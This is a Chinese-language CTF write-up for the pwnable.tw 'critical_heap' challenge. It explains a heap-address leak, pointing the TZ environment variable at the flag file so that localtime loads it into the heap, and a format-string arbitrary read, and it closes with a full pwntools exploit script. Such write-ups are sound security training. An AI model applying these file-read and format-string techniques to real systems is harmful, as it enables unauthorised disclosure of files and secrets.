[pwnable.tw] CRITICALHEAP - localtime任意文件读利用
分析
这题主要是三个结构体的利用:
- normal heap
- clock heap
- system heap
normal heap
可以在bss上输入content,当play
时调用重写功能后,结构体最末尾8个字节会被填满,此时如果content填满0x28个字符后可以泄露出下一个结构体的name
指针也就是堆地址,同时show功能存在格式化字符串漏洞,虽然是调用的__printf_chk
,但是由于栈上有一个可控的buf,可以很容易做到任意地址泄露。
创建clock heap
调用了localtime
,当环境变量中存在TZ
和TZDIR
时,这个函数会把两者拼接成一个完整地址,将地址指向的文件读入堆内存做一系列处理,最后返回一个指向libc中结构体的指针,供用户读取具体时间参数。虽然读入文件内容的内存会被释放而合并到top chunk
中,但是没有被覆盖掉。
此时发现system heap
正好可以设置环境变量,于是大功告成,思路有了。
思路
泄露堆地址;
设置
TZ
环境变量,为flag文件地址;创建
clock heap
;格式化字符串泄露
flag
。
EXP
from pwn import *
#p = process("./critical_heap")
p = remote("chall.pwnable.tw", 10500)
elf = ELF("./critical_heap")
libc = ELF("./libc.so.6")
context.log_level = "debug"
flag_path = b"/home/critical_heap++/flag"
#flag_path = b"/flag"
def create_normal(name, content):
'''create_normal(name, content)'''
p.sendafter(b"Your choice : ", b"1\n")
p.sendafter(b"Name of heap:", name)
p.sendafter(b"Your choice : ", b"1\n")
p.sendafter(b"Content of heap :", content)
def create_clock(name):
'''create_clock(name)'''
p.sendafter(b"Your choice : ", b"1\n")
p.sendafter(b"Name of heap:", name)
p.sendafter(b"Your choice : ", b"2\n")
def create_system(name):
'''create_system(name)'''
p.sendafter(b"Your choice : ", b"1\n")
p.sendafter(b"Name of heap:", name)
p.sendafter(b"Your choice : ", b"3\n")
def show_heap(idx:int):
'''show_heap(idx:int)'''
p.sendafter(b"Your choice : ", b"2\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
def rename_heap(idx:int, name):
'''rename_heap(idx:int, name)'''
p.sendafter(b"Your choice : ", b"3\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
p.sendafter(b"Name of heap:", name)
def show_normal_content(idx:int):
'''show_normal_content(idx:int)'''
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
p.sendafter(b"Your choice : ", b"1\n")
p.sendafter(b"Your choice : ", b"3\n") #return
def change_normal_content(idx:int, content):
'''change_normal_content(idx:int, content)'''
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
p.sendafter(b"Your choice : ", b"2\n")
p.sendafter(b"Content :", content)
p.sendafter(b"Your choice : ", b"3\n") #return
def leak_ptr_content(normal_idx:int, ptr, ret:int):
'''use normal heap's fmt bug'''
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"Index of heap :", str(normal_idx).encode()+b"\n")
p.sendafter(b"Your choice : ", b"2\n")
payload = (b"%p"*12+b"||%s").ljust(0x20, b"a") + p64(ptr)
print("len(payload):", hex(len(payload)))
p.sendafter(b"Content :", payload)
p.sendafter(b"Your choice : ", b"1\n") #show
if ret==1:
p.sendafter(b"Your choice : ", b"3\n") #return
def show_clock(idx:int):
'''show_clock(idx:int)'''
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
p.sendafter(b"Your choice : ", b"1\n")
p.sendafter(b"Your choice : ", b"3\n") #return
def update_clock(idx:int):
'''update_clock(idx:int)'''
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
p.sendafter(b"Your choice : ", b"2\n")
p.sendafter(b"Your choice : ", b"3\n") #return
def set_system_env(idx:int, name, value):
'''set_system_env(idx:int, name, value)'''
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
p.sendafter(b"Your choice : ", b"1\n")
p.sendafter(b"Give me a name for the system heap :", name)
p.sendafter(b"Give me a value for this name :", value)
p.sendafter(b"Your choice : ", b"5\n") #return
def del_system_env(idx:int, name):
'''del_system_env(idx:int, name)'''
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
p.sendafter(b"Your choice : ", b"1\n")
p.sendafter(b"What's name do you want to unset :", name)
p.sendafter(b"Your choice : ", b"5\n") #return
def get_realpath(idx:int):
'''get_realpath(idx:int)'''
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
p.sendafter(b"Your choice : ", b"3\n")
def get_value_of_name(idx:int, name):
'''get_value_of_name(idx:int, name)'''
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
p.sendafter(b"Your choice : ", b"4\n")
p.sendafter(b"What's name do you want to see :", name)
p.sendafter(b"Your choice : ", b"5\n") #return
def delete_heap(idx:int):
'''delete_heap(idx:int)'''
p.sendafter(b"Your choice : ", b"5\n")
p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
def exp():
# leak heap
create_normal(b"AAAA", b"a"*0x28) #0
create_system(b"BBBB") #1
change_normal_content(idx=0, content=b"a"*0x28)
show_heap(idx=0)
p.recvuntil(b"\x1b!\x1b!")
heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
heap_base = heap_leak - 0x30
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
# modify TZ
set_system_env(idx=1, name=b"TZ", value=flag_path)
create_clock(b"DDDD") #2
heap_flag_ptr = heap_base + 0x440
# fnt str leak flag
#gdb.attach(p, "b *0x40194b\nc\n")
create_normal(b"CCCC", b"a"*0x28) #3
leak_ptr_content(normal_idx=3, ptr=heap_flag_ptr, ret=0)
p.recvuntil(b"||")
flag = p.recvuntil(b"}").decode()
print(flag)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()